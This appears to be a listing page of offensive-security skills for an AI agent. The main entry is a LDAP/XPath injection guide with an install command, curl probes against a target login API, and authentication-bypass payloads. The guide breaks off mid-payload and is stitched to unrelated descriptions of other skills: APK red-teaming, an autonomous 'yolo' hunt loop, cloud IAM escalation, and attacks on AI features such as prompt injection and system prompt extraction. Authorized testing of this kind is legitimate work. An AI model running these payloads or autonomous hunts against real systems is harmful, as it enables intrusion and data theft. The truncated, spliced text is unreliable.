hunt-ldap
Hunt-LDAP identifies and exploits LDAP injection and XPath injection vulnerabilities in authentication systems and directory services. This skill addresses authentication bypass through filter manipulation, blind attribute exfiltration via boolean oracles, Active Directory and generic LDAP user enumeration, and XML-store XPath injection. Apply this skill when testing corporate SSO systems, LDAP-backed authentication, address-book or people-search APIs, or XML-based data stores, while distinguishing between AD and non-AD directories to avoid false conclusions about password hash extraction possibilities.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-ldap && cp -r /tmp/hunt-ldap/skills/hunt-ldap ~/.claude/skills/hunt-ldapSKILL.md
# HUNT-LDAP — LDAP Injection & XPath Injection
> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on
> public platforms (most live on internal-pentest reports). This skill is
> grounded in the **OWASP LDAP Injection Prevention / Testing Guide
> (WSTG-INPV-06)**, **PortSwigger Web Security Academy (LDAP injection)**, and
> the **RFC 4515** filter grammar — all publicly verifiable references rather
> than invented HackerOne IDs. Do not cite a report you cannot link.
## Crown Jewel Targets
LDAP injection that bypasses authentication = **Critical**. Blind attribute
exfiltration of credentials/secrets = **High**. AD enumeration alone = Medium-High.
**Highest-value chains:**
- **LDAP auth bypass** — close the `uid` filter and append an always-true OR so the
bind/search returns the admin entry without a valid password.
- **Blind attribute exfil** — char-by-char extraction of an attribute value via a
boolean oracle (login success/failure, result count, or response length).
- **userPassword hash exfil (non-AD only)** — on OpenLDAP/389-DS the
`userPassword` attribute can hold `{SSHA}`/`{CRYPT}` hashes that ARE readable
by query. See the AD-vs-generic warning below.
- **XPath injection auth bypass** — `' or '1'='1` against XML-backed auth.
---
## CRITICAL — Active Directory vs generic LDAP
Do **not** conflate the two. They behave very differently:
| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |
|---|---|---|
| Password attribute | `userPassword` — may hold `{SSHA}`/`{MD5}`/`{CRYPT}` and **is readable** if ACL allows | `unicodePwd` — **write-only**, never returned by any search |
| Hash exfil via injection | **Possible** where ACLs leak `userPassword` | **Not possible** — there is no readable hash attribute over LDAP |
| Useful enum attrs | `uid`, `cn`, `mail`, `userPassword` | `sAMAccountName`, `userPrincipalName`, `mail`, `memberOf`, `description` (often holds plaintext secrets!) |
**Do not tell a reader that blind LDAP injection yields AD password hashes — it
does not.** `unicodePwd` is write-only. Against AD, the win is enumeration
(`sAMAccountName`, `memberOf`, `description`/`info` fields that admins misuse to
store passwords) and auth bypass — not hash dumping. The hash-exfil technique
applies **only** to non-AD directories exposing `userPassword`.
---
## Attack Surface Signals
```
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/* /api/directory/* /people /address-book /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
javax.naming.NameNotFoundException
javax.naming.directory.InvalidSearchFilterException
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWN
```
---
## LDAP filter grammar (RFC 4515) — why injection works
A login filter is typically built by string-concat:
```
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))
```
`&` = AND, `|` = OR, `!` = NOT. **Filters are prefix/Polish notation** — the
operator comes first and every sub-filter is parenthesised. To inject you must
(a) escape the current `(uid=...)` group, (b) inject your own logic, and
(c) leave the overall parenthesis count **balanced** or the server throws a
filter-syntax error instead of executing.
### The special-character set — TEST EACH ONE
These characters are syntactically meaningful and MUST be escaped by a safe app
(RFC 4515 §3). If the app reflects an error or behaves differently when you send
them raw, the input is unescaped → injectable:
| Char | Filter escape | Why it matters |
|------|---------------|----------------|
| `*` | `\2a` | wildcard — matches any value |
| `(` | `\28` | opens a filter group |
| `)` | `\29` | closes a filter group |
| `\` | `\5c` | escape char itself |
| NUL | `\00` | string terminator — truncates filter in C-backed servers |
| `/` | (DN context) | RDN separator — relevant for DN injection |
**Search-filter context vs DN injection** are different bugs:
- **Search-filter injection** (most common): your input lands inside a
`(attr=VALUE)` filter. Payloads use `* ( ) & | !`.
- **DN injection**: your input is concatenated into a Distinguished Name
(`uid=VALUE,ou=people,dc=corp`). Here `,` `=` `+` `"` `\` `<` `>` `;` and `/`
matter, and a `*` is NOT a wildcard. Test both — the payloads do not transfer.
---
## Step-by-Step Hunting Methodology
### Phase 1 — Confirm an LDAP backend (baseline first)
```bash
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
-X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"
# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test)","password":"x"}' | grep -iE \
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
```
A lone `)` that produces a syntax error/500 while a balanced payload does not is
the cleanest LDAP-injection tell — note it, you will need it as proof.
### Phase 2 — Auth-bypass payloads (balance your parentheses)
```bash
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.
# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
# username = *)(uid=*))(|(uid=* password = anything
# Always-true admin (OR uid=*):
# username =End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.